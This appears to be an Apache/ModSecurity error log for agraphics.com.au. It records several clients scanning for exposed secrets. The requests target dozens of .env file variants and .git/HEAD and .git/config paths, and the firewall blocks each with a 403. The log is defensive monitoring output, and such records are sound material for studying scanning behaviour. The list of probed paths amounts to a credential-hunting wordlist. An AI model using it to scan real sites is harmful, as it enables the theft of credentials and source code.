[Thu May 21 14:27:40.042511 2026] [:error] [pid 49884:tid 49951] [client 54.241.112.81:41372] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.backup"] [unique_id "ag6l3K5MPpsTNNHWS6ho1AAAAIQ"]
[Thu May 21 14:27:40.770830 2026] [:error] [pid 49884:tid 49961] [client 54.241.112.81:41386] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.save"] [unique_id "ag6l3K5MPpsTNNHWS6ho1gAAAI4"]
[Thu May 21 14:27:41.419198 2026] [:error] [pid 49884:tid 49966] [client 54.241.112.81:41402] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.old"] [unique_id "ag6l3a5MPpsTNNHWS6ho2gAAAJM"]
[Thu May 21 14:27:42.149124 2026] [:error] [pid 49884:tid 49968] [client 54.241.112.81:41408] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sample"] [unique_id "ag6l3q5MPpsTNNHWS6ho3AAAAJU"]
[Thu May 21 14:27:42.877575 2026] [:error] [pid 49879:tid 49942] [client 54.241.112.81:41414] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.example"] [unique_id "ag6l3oVqYDjFSyG2gFpCQAAAAFY"]
[Thu May 21 14:27:43.527940 2026] [:error] [pid 49884:tid 49970] [client 54.241.112.81:41428] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "ag6l365MPpsTNNHWS6ho7QAAAJc"]
[Thu May 21 14:27:44.252998 2026] [:error] [pid 49884:tid 49971] [client 54.241.112.81:41440] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.prod"] [unique_id "ag6l4K5MPpsTNNHWS6ho7wAAAJg"]
[Thu May 21 14:27:44.987662 2026] [:error] [pid 49884:tid 49963] [client 54.241.112.81:41442] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.stage"] [unique_id "ag6l4K5MPpsTNNHWS6ho8QAAAJA"]
[Thu May 21 14:27:45.722521 2026] [:error] [pid 9157:tid 9159] [client 54.241.112.81:41456] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.ci"] [unique_id "ag6l4cGfHcLNqE8m88JndgAAAYA"]
[Thu May 21 14:27:46.449747 2026] [:error] [pid 49884:tid 49955] [client 54.241.112.81:41462] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "ag6l4q5MPpsTNNHWS6ho9wAAAIg"]
[Thu May 21 14:27:47.204828 2026] [:error] [pid 49884:tid 49967] [client 54.241.112.81:41470] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.live"] [unique_id "ag6l465MPpsTNNHWS6ho-gAAAJQ"]
[Thu May 21 14:27:47.933716 2026] [:error] [pid 49884:tid 49969] [client 54.241.112.81:41474] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.preprod"] [unique_id "ag6l465MPpsTNNHWS6ho-wAAAJY"]
[Thu May 21 14:27:48.687588 2026] [:error] [pid 9114:tid 9124] [client 54.241.112.81:47038] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.uat"] [unique_id "ag6l5G8FiJqDBEoTvqxYDAAAAUg"]
[Thu May 21 14:27:49.412972 2026] [:error] [pid 9188:tid 9208] [client 54.241.112.81:47050] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dist"] [unique_id "ag6l5bGYm6q5dNSUvA-tmAAAAdA"]
[Thu May 21 14:27:50.138135 2026] [:error] [pid 9188:tid 9211] [client 54.241.112.81:47064] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.swp"] [unique_id "ag6l5rGYm6q5dNSUvA-tmgAAAdM"]
[Thu May 21 14:27:50.862300 2026] [:error] [pid 9188:tid 9216] [client 54.241.112.81:47076] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env~"] [unique_id "ag6l5rGYm6q5dNSUvA-tmwAAAdg"]
[Thu May 21 14:27:51.590851 2026] [:error] [pid 9157:tid 9164] [client 54.241.112.81:47092] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env1"] [unique_id "ag6l58GfHcLNqE8m88JneAAAAYU"]
[Thu May 21 14:27:52.319958 2026] [:error] [pid 9189:tid 9225] [client 54.241.112.81:47108] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env2"] [unique_id "ag6l6JvTDh1NbYizKVxwyQAAAgY"]
[Thu May 21 14:27:53.049024 2026] [:error] [pid 49879:tid 49928] [client 54.241.112.81:47116] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env_copy"] [unique_id "ag6l6YVqYDjFSyG2gFpCRAAAAEg"]
[Thu May 21 14:27:53.777834 2026] [:error] [pid 49982:tid 50005] [client 54.241.112.81:47120] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.txt"] [unique_id "ag6l6WFwIDa5Tf8O4bakUAAAANU"]
[Thu May 21 14:27:54.508155 2026] [:error] [pid 9189:tid 9233] [client 54.241.112.81:47130] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.json"] [unique_id "ag6l6pvTDh1NbYizKVxwywAAAg4"]
[Thu May 21 14:27:55.237352 2026] [:error] [pid 9189:tid 9224] [client 54.241.112.81:47144] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.yaml"] [unique_id "ag6l65vTDh1NbYizKVxwzAAAAgU"]
[Thu May 21 14:27:55.966384 2026] [:error] [pid 49884:tid 49959] [client 54.241.112.81:47154] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.yml"] [unique_id "ag6l665MPpsTNNHWS6hpAgAAAIw"]
[Thu May 21 14:27:56.696380 2026] [:error] [pid 9157:tid 9167] [client 54.241.112.81:47156] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "ag6l7MGfHcLNqE8m88JnewAAAYg"]
[Thu May 21 14:27:57.425302 2026] [:error] [pid 51613:tid 51633] [client 54.241.112.81:47172] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/apps/.env"] [unique_id "ag6l7WbP0MDvqrVnwerQEgAAARI"]
[Thu May 21 14:27:58.092026 2026] [:error] [pid 49877:tid 49904] [client 54.241.112.81:47174] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "ag6l7hgN4MeSe4kIL9AhqgAAABA"]
[Thu May 21 14:27:58.823115 2026] [:error] [pid 49879:tid 49935] [client 54.241.112.81:51210] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/web/.env"] [unique_id "ag6l7oVqYDjFSyG2gFpCSAAAAE8"]
[Thu May 21 14:27:59.554976 2026] [:error] [pid 49982:tid 49992] [client 54.241.112.81:51212] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/site/.env"] [unique_id "ag6l72FwIDa5Tf8O4bakUwAAAMg"]
[Thu May 21 14:28:00.280868 2026] [:error] [pid 9189:tid 9223] [client 54.241.112.81:51228] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/public/.env"] [unique_id "ag6l8JvTDh1NbYizKVxwzQAAAgQ"]
[Thu May 21 14:28:01.011012 2026] [:error] [pid 49982:tid 50002] [client 54.241.112.81:51236] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.env"] [unique_id "ag6l8WFwIDa5Tf8O4bakVgAAANI"]
[Thu May 21 14:28:01.741678 2026] [:error] [pid 49879:tid 49932] [client 54.241.112.81:51246] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backend/.env"] [unique_id "ag6l8YVqYDjFSyG2gFpCSgAAAEw"]
[Thu May 21 14:28:02.470168 2026] [:error] [pid 9188:tid 9211] [client 54.241.112.81:51256] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/server/.env"] [unique_id "ag6l8rGYm6q5dNSUvA-toAAAAdM"]
[Thu May 21 14:28:03.121093 2026] [:error] [pid 9188:tid 9206] [client 54.241.112.81:51268] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/frontend/.env"] [unique_id "ag6l87GYm6q5dNSUvA-toQAAAc4"]
[Thu May 21 14:28:03.850313 2026] [:error] [pid 9188:tid 9212] [client 54.241.112.81:51278] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/src/.env"] [unique_id "ag6l87GYm6q5dNSUvA-togAAAdQ"]
[Thu May 21 14:49:19.643566 2026] [:error] [pid 9189:tid 9235] [client 3.235.91.146:57352] [client 3.235.91.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "ag6q75vTDh1NbYizKVx2iQAAAhA"]
[Thu May 21 15:05:10.742110 2026] [:error] [pid 49884:tid 49951] [client 3.106.220.79:52648] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ag6upq5MPpsTNNHWS6h42AAAAIQ"]
[Thu May 21 15:05:10.813838 2026] [:error] [pid 9157:tid 9166] [client 3.106.220.79:52656] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ag6upsGfHcLNqE8m88JsXQAAAYc"]
[Thu May 21 15:05:10.873848 2026] [:error] [pid 9157:tid 9182] [client 3.106.220.79:52672] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "ag6upsGfHcLNqE8m88JsXgAAAZc"]
[Thu May 21 15:05:10.964303 2026] [:error] [pid 51613:tid 51627] [client 3.106.220.79:52684] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "ag6upmbP0MDvqrVnwerV1gAAAQw"]
[Thu May 21 15:05:11.028176 2026] [:error] [pid 49982:tid 49999] [client 3.106.220.79:52698] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "ag6up2FwIDa5Tf8O4bauqAAAAM8"]
[Thu May 21 15:05:11.091511 2026] [:error] [pid 49982:tid 50001] [client 3.106.220.79:52706] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "ag6up2FwIDa5Tf8O4bauqQAAANE"]
[Thu May 21 15:05:11.149976 2026] [:error] [pid 9114:tid 9123] [client 3.106.220.79:52722] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "ag6up28FiJqDBEoTvqxcDAAAAUc"]
[Thu May 21 15:05:11.217514 2026] [:error] [pid 9189:tid 9231] [client 3.106.220.79:52730] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "ag6up5vTDh1NbYizKVx59QAAAgw"]
[Thu May 21 15:05:11.278611 2026] [:error] [pid 49982:tid 49984] [client 3.106.220.79:52746] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "ag6up2FwIDa5Tf8O4bauqwAAAMA"]
[Thu May 21 15:05:11.346119 2026] [:error] [pid 49982:tid 49986] [client 3.106.220.79:52748] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "ag6up2FwIDa5Tf8O4baurAAAAMI"]
[Thu May 21 15:05:11.403769 2026] [:error] [pid 49884:tid 49966] [client 3.106.220.79:52752] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "ag6up65MPpsTNNHWS6h42QAAAJM"]
[Thu May 21 15:05:11.465222 2026] [:error] [pid 49884:tid 49961] [client 3.106.220.79:52760] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "ag6up65MPpsTNNHWS6h42wAAAI4"]
[Thu May 21 15:05:11.520903 2026] [:error] [pid 49884:tid 49968] [client 3.106.220.79:52764] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "ag6up65MPpsTNNHWS6h43AAAAJU"]
[Thu May 21 15:05:11.586178 2026] [:error] [pid 9188:tid 9201] [client 3.106.220.79:52772] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "ag6up7GYm6q5dNSUvA-0egAAAck"]
[Thu May 21 15:05:11.647658 2026] [:error] [pid 9188:tid 9215] [client 3.106.220.79:52784] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "ag6up7GYm6q5dNSUvA-0ewAAAdc"]
[Thu May 21 15:05:11.709563 2026] [:error] [pid 9114:tid 9135] [client 3.106.220.79:52798] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "ag6up28FiJqDBEoTvqxcDQAAAVM"]
[Thu May 21 15:05:11.767101 2026] [:error] [pid 49884:tid 49970] [client 3.106.220.79:52810] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "ag6up65MPpsTNNHWS6h43QAAAJc"]
[Thu May 21 15:05:11.833331 2026] [:error] [pid 9189:tid 9223] [client 3.106.220.79:52816] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "ag6up5vTDh1NbYizKVx59gAAAgQ"]
[Thu May 21 15:05:11.895606 2026] [:error] [pid 9189:tid 9235] [client 3.106.220.79:52820] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "ag6up5vTDh1NbYizKVx59wAAAhA"]
[Thu May 21 15:05:11.949614 2026] [:error] [pid 49884:tid 49964] [client 3.106.220.79:52830] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "ag6up65MPpsTNNHWS6h43gAAAJE"]
[Thu May 21 15:05:12.018084 2026] [:error] [pid 9114:tid 9116] [client 3.106.220.79:52842] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "ag6uqG8FiJqDBEoTvqxcDgAAAUA"]
[Thu May 21 15:05:12.080351 2026] [:error] [pid 49884:tid 49956] [client 3.106.220.79:52848] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "ag6uqK5MPpsTNNHWS6h44AAAAIk"]
[Thu May 21 15:05:12.134186 2026] [:error] [pid 9114:tid 9131] [client 3.106.220.79:52864] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "ag6uqG8FiJqDBEoTvqxcDwAAAU8"]
